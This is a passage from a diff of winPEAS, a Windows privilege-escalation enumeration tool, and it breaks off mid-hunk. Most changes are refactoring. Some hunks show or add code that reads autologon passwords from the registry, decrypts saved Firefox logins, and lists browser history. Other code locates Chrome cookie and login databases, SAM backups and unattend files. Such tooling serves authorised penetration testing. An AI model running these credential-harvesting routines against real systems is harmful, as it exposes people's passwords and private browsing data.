namespace winPEAS.Info.SystemInfo
|
||||||
{
|
{
|
||||||
@@ -50,6 +52,60 @@ namespace winPEAS.Info.SystemInfo
|
|||||||
public static Dictionary<string, string> GetBasicOSInfo()
|
public static Dictionary<string, string> GetBasicOSInfo()
|
||||||
{
|
{
|
||||||
Dictionary<string, string> results = new Dictionary<string, string>();
|
Dictionary<string, string> results = new Dictionary<string, string>();
|
||||||
|
|
||||||
|
// Systeminfo from cmd to be able to use wes-ng
|
||||||
|
///////////////////////////////////////////////
|
||||||
|
|
||||||
|
Process process = new Process();
|
||||||
|
|
||||||
|
// Configure the process to run the systeminfo command
|
||||||
|
process.StartInfo.FileName = "systeminfo.exe";
|
||||||
|
process.StartInfo.UseShellExecute = false;
|
||||||
|
process.StartInfo.RedirectStandardOutput = true;
|
||||||
|
|
||||||
|
// Start the process
|
||||||
|
process.Start();
|
||||||
|
|
||||||
|
// Read the output of the command
|
||||||
|
string output = process.StandardOutput.ReadToEnd();
|
||||||
|
|
||||||
|
// Wait for the command to finish
|
||||||
|
process.WaitForExit();
|
||||||
|
|
||||||
|
|
||||||
|
// Split the output by newline characters
|
||||||
|
string[] lines = output.Split(new[] { '\n' }, StringSplitOptions.RemoveEmptyEntries);
|
||||||
|
|
||||||
|
string osname = @".*?Microsoft[\(R\)]{0,3} Windows[\(R\)?]{0,3} ?(Serverr? )?(\d+\.?\d?( R2)?|XP|VistaT).*";
|
||||||
|
string osversion = @".*?((\d+\.?){3}) ((Service Pack (\d)|N\/\w|.+) )?[ -\xa5]+ (\d+).*";
|
||||||
|
// Iterate over each line and add key-value pairs to the dictionary
|
||||||
|
foreach (string line in lines)
|
||||||
|
{
|
||||||
|
int index = line.IndexOf(':');
|
||||||
|
if (index != -1)
|
||||||
|
{
|
||||||
|
string key = line.Substring(0, index).Trim();
|
||||||
|
string value = line.Substring(index + 1).Trim();
|
||||||
|
if (Regex.IsMatch(value, osname, RegexOptions.IgnoreCase))
|
||||||
|
{
|
||||||
|
results["OS Name"] = value;
|
||||||
|
}
|
||||||
|
//I have to find a better way. Maybe use regex from wes-ng
|
||||||
|
if (Regex.IsMatch(value, osversion, RegexOptions.IgnoreCase))
|
||||||
|
{
|
||||||
|
results["OS Version"] = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (value.Contains("based PC"))
|
||||||
|
{
|
||||||
|
results["System Type"] = value;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ENDING Systeminfo from cmd to be able to use wes-ng
|
||||||
|
///////////////////////////////////////////////
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
string ProductName = RegistryHelper.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "ProductName");
|
string ProductName = RegistryHelper.GetRegValue("HKLM", "Software\\Microsoft\\Windows NT\\CurrentVersion", "ProductName");
|
||||||
|
|||||||
@@ -1,7 +1,5 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using Microsoft.Win32;
|
|
||||||
using winPEAS.Helpers;
|
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
|
|
||||||
namespace winPEAS.Info.SystemInfo.WindowsDefender
|
namespace winPEAS.Info.SystemInfo.WindowsDefender
|
||||||
@@ -17,7 +15,7 @@ namespace winPEAS.Info.SystemInfo.WindowsDefender
|
|||||||
public WindowsDefenderSettings(string defenderBaseKeyPath)
|
public WindowsDefenderSettings(string defenderBaseKeyPath)
|
||||||
{
|
{
|
||||||
PathExclusions = new List<string>();
|
PathExclusions = new List<string>();
|
||||||
var pathExclusionData = RegistryHelper.GetRegValues("HKLM", $"{ defenderBaseKeyPath}\\Exclusions\\Paths");
|
var pathExclusionData = RegistryHelper.GetRegValues("HKLM", $"{defenderBaseKeyPath}\\Exclusions\\Paths");
|
||||||
if (pathExclusionData != null)
|
if (pathExclusionData != null)
|
||||||
{
|
{
|
||||||
foreach (var kvp in pathExclusionData)
|
foreach (var kvp in pathExclusionData)
|
||||||
|
|||||||
@@ -1,10 +1,4 @@
|
|||||||
using System;
|
namespace winPEAS.Info.SystemInfo.WindowsDefender
|
||||||
using System.Collections.Generic;
|
|
||||||
using System.Linq;
|
|
||||||
using System.Text;
|
|
||||||
using System.Threading.Tasks;
|
|
||||||
|
|
||||||
namespace winPEAS.Info.SystemInfo.WindowsDefender
|
|
||||||
{
|
{
|
||||||
class WindowsDefenderSettingsInfo
|
class WindowsDefenderSettingsInfo
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -2,7 +2,6 @@
|
|||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Security.Principal;
|
using System.Security.Principal;
|
||||||
using winPEAS.Helpers;
|
|
||||||
using winPEAS.Native;
|
using winPEAS.Native;
|
||||||
using winPEAS.Native.Classes;
|
using winPEAS.Native.Classes;
|
||||||
|
|
||||||
|
|||||||
@@ -2,7 +2,6 @@
|
|||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Net.NetworkInformation;
|
using System.Net.NetworkInformation;
|
||||||
using System.Security.Principal;
|
using System.Security.Principal;
|
||||||
using System.Text.RegularExpressions;
|
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
|
|
||||||
namespace winPEAS.Info.UserInfo
|
namespace winPEAS.Info.UserInfo
|
||||||
|
|||||||
@@ -3,7 +3,6 @@ using System.Collections.Generic;
|
|||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Security.Cryptography.X509Certificates;
|
using System.Security.Cryptography.X509Certificates;
|
||||||
using System.Text;
|
using System.Text;
|
||||||
using winPEAS.Helpers;
|
|
||||||
using winPEAS.Native;
|
using winPEAS.Native;
|
||||||
using winPEAS.Native.Structs;
|
using winPEAS.Native.Structs;
|
||||||
|
|
||||||
|
|||||||
@@ -36,7 +36,7 @@ namespace winPEAS.Info.UserInfo.Token
|
|||||||
Advapi32.LookupPrivilegeName(null, luidPointer, null, ref luidNameLen);
|
Advapi32.LookupPrivilegeName(null, luidPointer, null, ref luidNameLen);
|
||||||
strBuilder.EnsureCapacity(luidNameLen + 1);
|
strBuilder.EnsureCapacity(luidNameLen + 1);
|
||||||
if (Advapi32.LookupPrivilegeName(null, luidPointer, strBuilder, ref luidNameLen))
|
if (Advapi32.LookupPrivilegeName(null, luidPointer, strBuilder, ref luidNameLen))
|
||||||
results[strBuilder.ToString()] = $"{(LuidAttributes) laa.Attributes}";
|
results[strBuilder.ToString()] = $"{(LuidAttributes)laa.Attributes}";
|
||||||
Marshal.FreeHGlobal(luidPointer);
|
Marshal.FreeHGlobal(luidPointer);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -7,7 +7,6 @@ using System.Management;
|
|||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Security.Principal;
|
using System.Security.Principal;
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.KnownFileCreds;
|
|
||||||
using winPEAS.Native;
|
using winPEAS.Native;
|
||||||
using winPEAS.Native.Structs;
|
using winPEAS.Native.Structs;
|
||||||
|
|
||||||
|
|||||||
@@ -6,7 +6,6 @@ using System.Windows.Forms;
|
|||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
using winPEAS.Info.UserInfo.SAM;
|
using winPEAS.Info.UserInfo.SAM;
|
||||||
using winPEAS.KnownFileCreds;
|
|
||||||
using winPEAS.Native;
|
using winPEAS.Native;
|
||||||
using winPEAS.Native.Enums;
|
using winPEAS.Native.Enums;
|
||||||
|
|
||||||
@@ -251,14 +250,15 @@ namespace winPEAS.Info.UserInfo
|
|||||||
|
|
||||||
public static Dictionary<string, string> GetAutoLogon()
|
public static Dictionary<string, string> GetAutoLogon()
|
||||||
{
|
{
|
||||||
Dictionary<string, string> results = new Dictionary<string, string>();
|
Dictionary<string, string> results = new Dictionary<string, string>
|
||||||
|
{
|
||||||
results["DefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultDomainName");
|
["DefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultDomainName"),
|
||||||
results["DefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultUserName");
|
["DefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultUserName"),
|
||||||
results["DefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultPassword");
|
["DefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "DefaultPassword"),
|
||||||
results["AltDefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultDomainName");
|
["AltDefaultDomainName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultDomainName"),
|
||||||
results["AltDefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultUserName");
|
["AltDefaultUserName"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultUserName"),
|
||||||
results["AltDefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultPassword");
|
["AltDefaultPassword"] = RegistryHelper.GetRegValue("HKLM", "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", "AltDefaultPassword")
|
||||||
|
};
|
||||||
return results;
|
return results;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -281,7 +281,7 @@ namespace winPEAS.Info.UserInfo
|
|||||||
c = $"{Clipboard.GetFileDropList()}";
|
c = $"{Clipboard.GetFileDropList()}";
|
||||||
|
|
||||||
//else if (Clipboard.ContainsImage()) //No system.Drwing import
|
//else if (Clipboard.ContainsImage()) //No system.Drwing import
|
||||||
//c = string.Format("{0}", Clipboard.GetImage());
|
//c = string.Format("{0}", Clipboard.GetImage());
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -15,7 +15,7 @@ namespace winPEAS.InterestingFiles
|
|||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
string allUsers = System.Environment.GetEnvironmentVariable("ALLUSERSPROFILE");
|
string allUsers = Environment.GetEnvironmentVariable("ALLUSERSPROFILE");
|
||||||
|
|
||||||
if (!allUsers.Contains("ProgramData"))
|
if (!allUsers.Contains("ProgramData"))
|
||||||
{
|
{
|
||||||
@@ -225,11 +225,13 @@ namespace winPEAS.InterestingFiles
|
|||||||
Changed = "[BLANK]";
|
Changed = "[BLANK]";
|
||||||
}
|
}
|
||||||
|
|
||||||
results[file] = new Dictionary<string, string>();
|
results[file] = new Dictionary<string, string>
|
||||||
results[file]["UserName"] = UserName;
|
{
|
||||||
results[file]["NewName"] = NewName;
|
["UserName"] = UserName,
|
||||||
results[file]["cPassword"] = cPassword;
|
["NewName"] = NewName,
|
||||||
results[file]["Changed"] = Changed;
|
["cPassword"] = cPassword,
|
||||||
|
["Changed"] = Changed
|
||||||
|
};
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
|
|||||||
@@ -28,7 +28,7 @@ namespace winPEAS.InterestingFiles
|
|||||||
$@"{systemRoot}\System32\config\RegBack\SYSTEM",
|
$@"{systemRoot}\System32\config\RegBack\SYSTEM",
|
||||||
};
|
};
|
||||||
|
|
||||||
results.AddRange(searchLocations.Where(searchLocation => System.IO.File.Exists(searchLocation)));
|
results.AddRange(searchLocations.Where(searchLocation => File.Exists(searchLocation)));
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
{
|
{
|
||||||
@@ -102,7 +102,7 @@ namespace winPEAS.InterestingFiles
|
|||||||
// Reference: https://stackoverflow.com/questions/18071412/list-filenames-in-the-recyclebin-with-c-sharp-without-using-any-external-files
|
// Reference: https://stackoverflow.com/questions/18071412/list-filenames-in-the-recyclebin-with-c-sharp-without-using-any-external-files
|
||||||
int lastDays = 30;
|
int lastDays = 30;
|
||||||
|
|
||||||
var startTime = System.DateTime.Now.AddDays(-lastDays);
|
var startTime = DateTime.Now.AddDays(-lastDays);
|
||||||
|
|
||||||
// Shell COM object GUID
|
// Shell COM object GUID
|
||||||
Type shell = Type.GetTypeFromCLSID(new Guid("13709620-C279-11CE-A49E-444553540000"));
|
Type shell = Type.GetTypeFromCLSID(new Guid("13709620-C279-11CE-A49E-444553540000"));
|
||||||
|
|||||||
@@ -40,7 +40,7 @@ namespace winPEAS.InterestingFiles
|
|||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
var winDir = System.Environment.GetEnvironmentVariable("windir");
|
var winDir = Environment.GetEnvironmentVariable("windir");
|
||||||
string[] searchLocations =
|
string[] searchLocations =
|
||||||
{
|
{
|
||||||
$"{winDir}\\sysprep\\sysprep.xml",
|
$"{winDir}\\sysprep\\sysprep.xml",
|
||||||
@@ -56,7 +56,7 @@ namespace winPEAS.InterestingFiles
|
|||||||
$"{winDir}\\..\\unattend.inf",
|
$"{winDir}\\..\\unattend.inf",
|
||||||
};
|
};
|
||||||
|
|
||||||
results.AddRange(searchLocations.Where(System.IO.File.Exists));
|
results.AddRange(searchLocations.Where(File.Exists));
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
|
using System.Linq;
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
using System.Web.Script.Serialization;
|
using System.Web.Script.Serialization;
|
||||||
using winPEAS.Checks;
|
using winPEAS.Checks;
|
||||||
@@ -27,7 +28,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
|||||||
{
|
{
|
||||||
Beaprint.MainPrint("Looking for Chrome DBs");
|
Beaprint.MainPrint("Looking for Chrome DBs");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||||
Dictionary<string, string> chromeDBs = Chrome.GetChromeDbs();
|
Dictionary<string, string> chromeDBs = GetChromeDbs();
|
||||||
|
|
||||||
if (chromeDBs.ContainsKey("userChromeCookiesPath"))
|
if (chromeDBs.ContainsKey("userChromeCookiesPath"))
|
||||||
{
|
{
|
||||||
@@ -59,7 +60,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
|||||||
{
|
{
|
||||||
Beaprint.MainPrint("Looking for GET credentials in Chrome history");
|
Beaprint.MainPrint("Looking for GET credentials in Chrome history");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||||
Dictionary<string, List<string>> chromeHistBook = Chrome.GetChromeHistBook();
|
Dictionary<string, List<string>> chromeHistBook = GetChromeHistBook();
|
||||||
List<string> history = chromeHistBook["history"];
|
List<string> history = chromeHistBook["history"];
|
||||||
List<string> bookmarks = chromeHistBook["bookmarks"];
|
List<string> bookmarks = chromeHistBook["bookmarks"];
|
||||||
|
|
||||||
@@ -77,8 +78,11 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
|||||||
Beaprint.AnsiPrint(" " + url, colorsB);
|
Beaprint.AnsiPrint(" " + url, colorsB);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
Console.WriteLine();
|
Console.WriteLine();
|
||||||
|
|
||||||
|
int limit = 50;
|
||||||
|
Beaprint.MainPrint($"Chrome history -- limit {limit}\n");
|
||||||
|
Beaprint.ListPrint(history.Take(limit).ToList());
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@@ -130,14 +134,14 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
|||||||
else
|
else
|
||||||
{
|
{
|
||||||
string userChromeCookiesPath =
|
string userChromeCookiesPath =
|
||||||
$"{System.Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies";
|
$"{Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies";
|
||||||
if (File.Exists(userChromeCookiesPath))
|
if (File.Exists(userChromeCookiesPath))
|
||||||
{
|
{
|
||||||
results["userChromeCookiesPath"] = userChromeCookiesPath;
|
results["userChromeCookiesPath"] = userChromeCookiesPath;
|
||||||
}
|
}
|
||||||
|
|
||||||
string userChromeLoginDataPath =
|
string userChromeLoginDataPath =
|
||||||
$"{System.Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data";
|
$"{Environment.GetEnvironmentVariable("USERPROFILE")}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data";
|
||||||
if (File.Exists(userChromeLoginDataPath))
|
if (File.Exists(userChromeLoginDataPath))
|
||||||
{
|
{
|
||||||
results["userChromeLoginDataPath"] = userChromeLoginDataPath;
|
results["userChromeLoginDataPath"] = userChromeLoginDataPath;
|
||||||
@@ -156,7 +160,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
|||||||
List<string> results = new List<string>();
|
List<string> results = new List<string>();
|
||||||
|
|
||||||
// parses a Chrome history file via regex
|
// parses a Chrome history file via regex
|
||||||
if (System.IO.File.Exists(path))
|
if (File.Exists(path))
|
||||||
{
|
{
|
||||||
Regex historyRegex = new Regex(@"(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?");
|
Regex historyRegex = new Regex(@"(http|ftp|https|file)://([\w_-]+(?:(?:\.[\w_-]+)+))([\w.,@?^=%&:/~+#-]*[\w@?^=%&/~+#-])?");
|
||||||
|
|
||||||
@@ -217,10 +221,10 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
|||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
string userChromeHistoryPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
string userChromeHistoryPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History", Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||||
results["history"] = ParseChromeHistory(userChromeHistoryPath);
|
results["history"] = ParseChromeHistory(userChromeHistoryPath);
|
||||||
|
|
||||||
string userChromeBookmarkPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
string userChromeBookmarkPath = string.Format("{0}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks", Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||||
|
|
||||||
results["bookmarks"] = ParseChromeBookmarks(userChromeBookmarkPath);
|
results["bookmarks"] = ParseChromeBookmarks(userChromeBookmarkPath);
|
||||||
}
|
}
|
||||||
@@ -241,7 +245,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Chrome
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
string contents = System.IO.File.ReadAllText(path);
|
string contents = File.ReadAllText(path);
|
||||||
|
|
||||||
// reference: http://www.tomasvera.com/programming/using-javascriptserializer-to-parse-json-objects/
|
// reference: http://www.tomasvera.com/programming/using-javascriptserializer-to-parse-json-objects/
|
||||||
JavaScriptSerializer json = new JavaScriptSerializer();
|
JavaScriptSerializer json = new JavaScriptSerializer();
|
||||||
|
|||||||
@@ -1,10 +1,4 @@
|
|||||||
using System;
|
namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||||
using System.Collections.Generic;
|
|
||||||
using System.Linq;
|
|
||||||
using System.Text;
|
|
||||||
using System.Threading.Tasks;
|
|
||||||
|
|
||||||
namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
|
||||||
{
|
{
|
||||||
class FFLogins
|
class FFLogins
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -4,11 +4,11 @@ using System.Data;
|
|||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
|
using System.Web.Script.Serialization;
|
||||||
|
using winPEAS._3rdParty.SQLite;
|
||||||
using winPEAS.Checks;
|
using winPEAS.Checks;
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.KnownFileCreds.Browsers.Models;
|
using winPEAS.KnownFileCreds.Browsers.Models;
|
||||||
using winPEAS._3rdParty.SQLite;
|
|
||||||
using System.Web.Script.Serialization;
|
|
||||||
|
|
||||||
namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||||
{
|
{
|
||||||
@@ -29,7 +29,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
|||||||
{
|
{
|
||||||
Beaprint.MainPrint("Looking for Firefox DBs");
|
Beaprint.MainPrint("Looking for Firefox DBs");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||||
List<string> firefoxDBs = Firefox.GetFirefoxDbs();
|
List<string> firefoxDBs = GetFirefoxDbs();
|
||||||
if (firefoxDBs.Count > 0)
|
if (firefoxDBs.Count > 0)
|
||||||
{
|
{
|
||||||
foreach (string firefoxDB in firefoxDBs) //No Beaprints because line needs red
|
foreach (string firefoxDB in firefoxDBs) //No Beaprints because line needs red
|
||||||
@@ -56,21 +56,26 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
|||||||
{
|
{
|
||||||
Beaprint.MainPrint("Looking for GET credentials in Firefox history");
|
Beaprint.MainPrint("Looking for GET credentials in Firefox history");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||||
List<string> firefoxHist = Firefox.GetFirefoxHistory();
|
List<string> history = GetFirefoxHistory();
|
||||||
if (firefoxHist.Count > 0)
|
if (history.Count > 0)
|
||||||
{
|
{
|
||||||
Dictionary<string, string> colorsB = new Dictionary<string, string>()
|
Dictionary<string, string> colorsB = new Dictionary<string, string>()
|
||||||
{
|
{
|
||||||
{ Globals.PrintCredStrings, Beaprint.ansi_color_bad },
|
{ Globals.PrintCredStrings, Beaprint.ansi_color_bad },
|
||||||
};
|
};
|
||||||
|
|
||||||
foreach (string url in firefoxHist)
|
foreach (string url in history)
|
||||||
{
|
{
|
||||||
if (MyUtils.ContainsAnyRegex(url.ToUpper(), Browser.CredStringsRegex))
|
if (MyUtils.ContainsAnyRegex(url.ToUpper(), Browser.CredStringsRegex))
|
||||||
{
|
{
|
||||||
Beaprint.AnsiPrint(" " + url, colorsB);
|
Beaprint.AnsiPrint(" " + url, colorsB);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
Console.WriteLine();
|
||||||
|
|
||||||
|
int limit = 50;
|
||||||
|
Beaprint.MainPrint($"Firefox history -- limit {limit}\n");
|
||||||
|
Beaprint.ListPrint(history.Take(limit).ToList());
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@@ -101,7 +106,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
|||||||
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
|
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
|
||||||
{
|
{
|
||||||
string userFirefoxBasePath = $"{dir}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\";
|
string userFirefoxBasePath = $"{dir}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\";
|
||||||
if (System.IO.Directory.Exists(userFirefoxBasePath))
|
if (Directory.Exists(userFirefoxBasePath))
|
||||||
{
|
{
|
||||||
var directories = Directory.EnumerateDirectories(userFirefoxBasePath);
|
var directories = Directory.EnumerateDirectories(userFirefoxBasePath);
|
||||||
foreach (string directory in directories)
|
foreach (string directory in directories)
|
||||||
@@ -249,25 +254,28 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
|||||||
|
|
||||||
foreach (string dir in dirs)
|
foreach (string dir in dirs)
|
||||||
{
|
{
|
||||||
string[] files = Directory.EnumerateFiles(dir, "signons.sqlite").ToArray();
|
if (Directory.Exists(dir))
|
||||||
if (files.Length > 0)
|
|
||||||
{
|
{
|
||||||
signonsFile = files[0];
|
string[] files = Directory.EnumerateFiles(dir, "signons.sqlite").ToArray();
|
||||||
signonsFound = true;
|
if (files.Length > 0)
|
||||||
}
|
{
|
||||||
|
signonsFile = files[0];
|
||||||
|
signonsFound = true;
|
||||||
|
}
|
||||||
|
|
||||||
// find "logins.json"file
|
// find "logins.json"file
|
||||||
files = Directory.EnumerateFiles(dir, "logins.json").ToArray();
|
files = Directory.EnumerateFiles(dir, "logins.json").ToArray();
|
||||||
if (files.Length > 0)
|
if (files.Length > 0)
|
||||||
{
|
{
|
||||||
loginsFile = files[0];
|
loginsFile = files[0];
|
||||||
loginsFound = true;
|
loginsFound = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (loginsFound || signonsFound)
|
if (loginsFound || signonsFound)
|
||||||
{
|
{
|
||||||
FFDecryptor.NSS_Init(dir);
|
FFDecryptor.NSS_Init(dir);
|
||||||
break;
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
@@ -313,8 +321,8 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
|||||||
|
|
||||||
foreach (Browsers.Firefox.LoginData loginData in ffLoginData.logins)
|
foreach (Browsers.Firefox.LoginData loginData in ffLoginData.logins)
|
||||||
{
|
{
|
||||||
string username = Browsers.Firefox.FFDecryptor.Decrypt(loginData.encryptedUsername);
|
string username = FFDecryptor.Decrypt(loginData.encryptedUsername);
|
||||||
string password = Browsers.Firefox.FFDecryptor.Decrypt(loginData.encryptedPassword);
|
string password = FFDecryptor.Decrypt(loginData.encryptedPassword);
|
||||||
logins.Add(new CredentialModel
|
logins.Add(new CredentialModel
|
||||||
{
|
{
|
||||||
Username = username,
|
Username = username,
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ namespace winPEAS.KnownFileCreds.Browsers
|
|||||||
{
|
{
|
||||||
internal interface IBrowser
|
internal interface IBrowser
|
||||||
{
|
{
|
||||||
string Name { get; }
|
string Name { get; }
|
||||||
void PrintInfo();
|
void PrintInfo();
|
||||||
IEnumerable<CredentialModel> GetSavedCredentials();
|
IEnumerable<CredentialModel> GetSavedCredentials();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,11 +1,11 @@
|
|||||||
using System;
|
using Microsoft.Win32;
|
||||||
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
using System.Reflection;
|
using System.Reflection;
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
using Microsoft.Win32;
|
|
||||||
using winPEAS.Checks;
|
using winPEAS.Checks;
|
||||||
using winPEAS.Helpers;
|
using winPEAS.Helpers;
|
||||||
using winPEAS.Helpers.Registry;
|
using winPEAS.Helpers.Registry;
|
||||||
@@ -30,7 +30,7 @@ namespace winPEAS.KnownFileCreds.Browsers
|
|||||||
{
|
{
|
||||||
Beaprint.MainPrint("Current IE tabs");
|
Beaprint.MainPrint("Current IE tabs");
|
||||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||||
List<string> urls = InternetExplorer.GetCurrentIETabs();
|
List<string> urls = GetCurrentIETabs();
|
||||||
|
|
||||||
Dictionary<string, string> colorsB = new Dictionary<string, string>()
|
